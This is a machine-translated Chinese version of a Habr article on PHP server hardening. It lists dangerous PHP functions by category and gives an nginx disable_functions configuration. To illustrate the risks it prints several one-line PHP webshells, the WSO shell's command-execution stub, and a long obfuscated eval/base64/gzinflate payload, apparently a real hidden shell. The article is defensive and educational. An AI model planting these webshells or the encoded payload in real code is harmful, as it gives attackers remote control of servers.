不安全的PHP函数

Modesco Holding-有300多个信息站点和5个主要的Internet服务。 定期买卖项目。 如您所知,在这种情况下实际上不可能维护高质量的代码。 通常,程序员的主要注意力集中在服务本身上。 骇客入侵,shell攻击,网站感染其他恶意事物……所有这些对用户和公司造成重大伤害。 为了避免这种情况,人们通常不得不寻找非标准的方式来降低风险。


猫


fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system"; 

这并不意味着迫切需要禁止所有危险功能。 这并不意味着通过禁用它们,您一定会保护自己免受所有PHP Shell的侵害。 其中的大多数功能都可以在您的应用程序,框架或库中绝对安全地使用。 每个应用程序应单独处理。 安全是深入防御的过程,在这种情况下禁用危险功能只是该防御的可能途径之一。


这些功能的列表很可能是查找可疑文件的助手。 PHP-shell可以非常巧妙地隐藏-混淆的一个很好的例子是有关habr的文章


本文基于stackoverflow记录和我们自己的经验来解析大量的PHP shell


怎么办


关闭一些危险的PHP-fpm功能(或其他功能)会很好。 留下仅通过PHP-cli执行它们的机会。 其他功能的外观应在文件中进行监控。 第三个应该更仔细地对待,不要让未清理的或严格未经验证的行进入参数。


命令执行功能


 exec expect_popen passthru system shell_exec popen proc_open pcntl_exec 

这些功能应首先关闭。 如果在PHP-fpm中需要它们,那么您做错了什么。 这些功能使您可以退出open_basedir中指定的环境。 仅关闭部分功能是不够的。 例如,许多人钟爱的WSO Shell都在枚举代码执行的机会。


 function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; } 

流程管理功能


 pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig 

它们也应该被关闭。 例如,在WSO中找到proc_open 。 是的,在PHP-fpm环境中没有此类功能。 守护程序应通过PHP-cli启动。


信息功能


 phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid 

这些功能可以揭示有关系统的信息,并且可以极大地促进对其他软件的攻击。 而且它们也可能成为机密数据泄漏的来源,例如,在symfony中,建议将数据库连接存储在ENV中。 因此,建议禁止执行这些功能,但应用程序中使用的功能除外。


执行PHP代码的函数


 eval assert preg_replace create_function include include_once require require_once 

值得检查它们在下载文件中的存在情况,并定期检查当前文件。 除了eval之外eval还有其他方法可以执行PHP代码。 例如,您可以包括一个特制JPG文件 。 但是,大多数框架和应用程序都使用这些功能-您不能禁用它们。 因此,在使用它们时必须非常小心。 Shell只能是一行:


  include("data:text/plain;base64,$_GET[code]"); 

使用回调的函数


 ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function 

这些函数可用于通过传递字符串参数来调用其他函数。 值得谨慎地应用它们,不要让原始数据进入函数的参数。 毕竟,它们也可以用来掩盖外壳。 使用这些功能的最简单外壳的示例如下所示:


 print_r(call_user_func_array($_POST['functie'], array($_POST['argv']))); 

混淆中常用的功能


 eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function 

这些功能通常用于掩盖反病毒和窥视已知PHP外壳。 检查下载的文件是否存在,并定期检查当前文件。 隐藏外壳的示例:


 eval(str_rot13(gzinflate(str_rot13(base64_decode('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'))))); 

文件系统功能


 fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags 

这些功能可用于下载文件或公开有关系统的信息-谨慎使用它们是值得的。 许多PHP Shell可以通过ftp上传第三方文件。 一个用于加载任意文件的简单PHP外壳如下所示:


 copy($_GET['s'], $_GET['d']); 

其他


 extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid 

这些功能也需要小心,最好禁止使用其中一些功能。 例如, mail可用于将垃圾邮件发送到受感染的站点。 如果您的应用程序不打算使用这些功能,请禁用它们。 以下构造并不令人恐惧,但它是最小的PHP shell之一:


  @extract($_REQUEST); @die ($ctime($atime)); 

结论


禁用不安全的PHP函数是减少资源耗尽风险的一种方法。 如果具有“特定知识”的人员参与您的项目,则该项目很可能会失败。


事实证明,这种防护在CMS上的站点上特别好-通常,它们会被自动模式下的恶意网络感染。 如果扫描机器人无法运行命令或淹没的PHP Shell,则很可能会转到下一个站点。


我希望本文会鼓励初学者更加谨慎地过滤,屏蔽和验证从用户那里收到的数据。


本文并不假装具有独特的知识-以一种或另一种形式,该材料已在Runet中遇到。 本书是概括性和系统化的材料,需要引起人们对问题的关注。


也许他将能够激励某人编写有关Wordpress安全性或其他CMS的复杂材料。

Source: https://habr.com/ru/post/zh-CN472092/


All Articles